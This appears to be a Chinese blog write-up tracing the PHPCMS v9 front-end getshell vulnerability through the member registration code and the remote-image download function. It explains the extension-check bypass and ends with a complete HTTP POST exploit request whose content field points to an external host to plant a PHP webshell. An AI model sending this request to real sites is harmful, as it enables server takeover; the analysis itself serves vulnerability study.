PHPCMS是一款网站管理软件。该软件采用模块化开发，支持多种分类方式，使用它可方便实现个性化网站的设计、开发与维护。它支持众多的程序组合，可轻松实现网站平台迁移，并可广泛满足各种规模的网站需求，可靠性高，是一款具备文章、下载、图片、分类信息、影视、商城、采集、财务等众多功能的强大、易用、可扩展的优秀网站管理软件。


看到到处都是这个漏洞的利用.加班完这个点看看触发点.主要的问题是
phpcms\modules\member\index.php 130行到140行

//附表信息验证 通过模型获取会员信息

if($member_setting['choosemodel']) {

    require_once CACHE_MODEL_PATH.'member_input.class.php';

    require_once CACHE_MODEL_PATH.'member_update.class.php';

    $member_input = new member_input($userinfo['modelid']);       

    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

    //var_dump($_POST['info']);

    $user_model_info = $member_input->get($_POST['info']);

}

这里加载了两个文件.位于当前目录下的fields中的member_input.class.php。因为这里主要是调用了member_input.
文件的开头就写清楚了

function __construct($modelid) {

    $this->db = pc_base::load_model('sitemodel_field_model');

    $this->db_pre = $this->db->db_tablepre;

    $this->modelid = $modelid;

    $this->fields = getcache('model_field_'.$modelid,'model');

做一点v9的常识

pc_base::load_model(‘*_model’) 加载数据库模型

pc_base::load_sys_class(‘classname’) 实例化系统类

pc_base::load_app_class(‘classname’,’admin’) 实例化模块类

pc_base::load_sys_func (‘funcfile’) 调用系统函数库

以上是调用模型和实例化对象的四种方法

 

pc_base::load_model(‘*_model’) 对应加载 根目录\phpcms\model 下面的类文件

pc_base::load_sys_class(‘classname’) 对应加载 根目录\phpcms\libs\classes 下面的文件

pc_base::load_app_class(‘classname’,’admin’) 对应加载 根目录\phpcms\modules\admin\classes 下面的文件

pc_base::load_sys_func (‘funcfile’) 对应加载 根目录\phpcms\libs\functions\

因此在member_input.class.php中调用了
\phpcms\model\sitemodel_field_model.class.php
继续查看，发现调用的是

class sitemodel_field_model extends model {

    public $table_name = '';

    public function __construct() {

        $this->db_config = pc_base::load_config('database');

        $this->db_setting = 'default';

        $this->table_name = 'model_field';

        parent::__construct();

    }

加载了数据库配置.然后读取了表model_field.那么这个流程就是需要从model_field中匹配某些东西。继续跟get函数

function get($data) {

    $this->data = $data = trim_script($data);

    $model_cache = getcache('member_model', 'commons');

    $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

 

    $info = array();

    $debar_filed = array('catid','title','style','thumb','status','islink','description');

    if(is_array($data)) {

        foreach($data as $field=>$value) {

            if($data['islink']==1 && !in_array($field,$debar_filed)) continue;

            $field = safe_replace($field);

            $name = $this->fields[$field]['name'];

            $minlength = $this->fields[$field]['minlength'];

            $maxlength = $this->fields[$field]['maxlength'];

            $pattern = $this->fields[$field]['pattern'];

            $errortips = $this->fields[$field]['errortips'];

            if(empty($errortips)) $errortips = "$name 不符合要求！";

            $length = empty($value) ? 0 : strlen($value);

            if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符！");

            if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');

            if($maxlength && $length > $maxlength && !$isimport) {

                showmessage("$name 不得超过 $maxlength 个字符！");

            } else {

                str_cut($value, $maxlength);

            }

            if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);

            if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复！");

            $func = $this->fields[$field]['formtype'];

            if(method_exists($this, $func)) $value = $this->$func($field, $value);

 

            $info[$field] = $value;

        }

    }

    return $info;

}

注意观察到

$func = $this->fields[$field]['formtype'];

if(method_exists($this, $func)) $value = $this->$func($field, $value);

phpcms v9前台getshell_第1张图片

查看formtype其实是edit.查看下edit函数
phpcms\modules\member\fields\editor\input.inc.php

function editor($field, $value) {

    $setting = string2array($this->fields[$field]['setting']);

    $enablesavep_w_picpath = $setting['enablesavep_w_picpath'];

    $site_setting = string2array($this->site_config['setting']);

    $watermark_enable = intval($site_setting['watermark_enable']);

    $value = $this->p_w_upload->download('content', $value,$watermark_enable);

    return $value;

}

发现这里调用了$this->p_w_upload->download

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')

{

    global $p_w_picpath_d;

    $this->att_db = pc_base::load_model('p_w_upload_model');

    $upload_url = pc_base::load_config('system','upload_url');

    $this->field = $field;

    $dir = date('Y/md/');

    $uploadpath = $upload_url.$dir;

    $uploaddir = $this->upload_root.$dir;

    $string = new_stripslashes($value);

    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

    $remotefileurls = array();

    foreach($matches[3] as $matche)

    {

        if(strpos($matche, '://') === false) continue;

        dir_create($uploaddir);

        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

    }

    unset($matches, $string);

    $remotefileurls = array_unique($remotefileurls);

    $oldpath = $newpath = array();

    foreach($remotefileurls as $k=>$file) {

        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;

        $filename = fileext($file);

        $file_name = basename($file);

        $filename = $this->getname($filename);

 

        $newfile = $uploaddir.$filename;

        $upload_func = $this->upload_func;

        if($upload_func($file, $newfile)) {

            $oldpath[] = $k;

            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;

            @chmod($newfile, 0777);

            $fileext = fileext($filename);

            if($watermark){

                watermark($newfile, $newfile,$this->siteid);

            }

            $filepath = $dir.$filename;

            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);

            $aid = $this->add($downloadedfile);

            $this->downloadedfiles[$aid] = $filepath;

        }

    }

    return str_replace($oldpath, $newpath, $value);

}

传输到地址经过new_stripslashes处理

function new_stripslashes($string) {

    if(!is_array($string)) return stripslashes($string);

    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);

    return $string;

}

限制了后缀为$ext = 'gif|jpg|jpeg|bmp|png'。同时限定了传输到必须是网址

("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"

这个是一个实现远程图片自动上传功能的函数，用户提交的content中若有图片地址则自动将远程的地址copy到本地！在清楚content中的图片路径时候采用preg_match_all 正则匹配（红色代码部分），虽然有扩展名的验证但是很容易就能绕过，我们只需要将shell地址修改为：http://mysite/shell.php?1.gif就可以绕过了，mysite是自己的网站地址，如果自己网站下解析php的话那么php内容应该是';?> 否则下载后得到的文件内容是空白，copy访问远程文件也像IE一样，访问后取得解析后的内容。

那么整个流程久清楚了..传输modelid起到了决定性的作用.只有在1，2，3，11的时候才会触发edit函数.同时可以赋值content.

phpcms v9前台getshell_第2张图片

POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1

Host: 192.168.87.128

Content-Length: 297

Cache-Control: max-age=0

Origin: http://192.168.87.128

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,p_w_picpath/webp,*/*;q=0.8

Referer: http://192.168.87.128/index.php?m=member&c=index&a=register&siteid=1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2

Cookie: PHPSESSID=h5jo0216vveqr9blnh146tq5q5

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Originating-IP: 127.0.0.1

Connection: close

 

siteid=1&modelid=2&username=test&password=test123&pwdconfirm=test123&email=test%40qq.com&nickname=test233&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=&info[content]=http://www.xingkonglangzi.com/test.txt?.php#.jpg>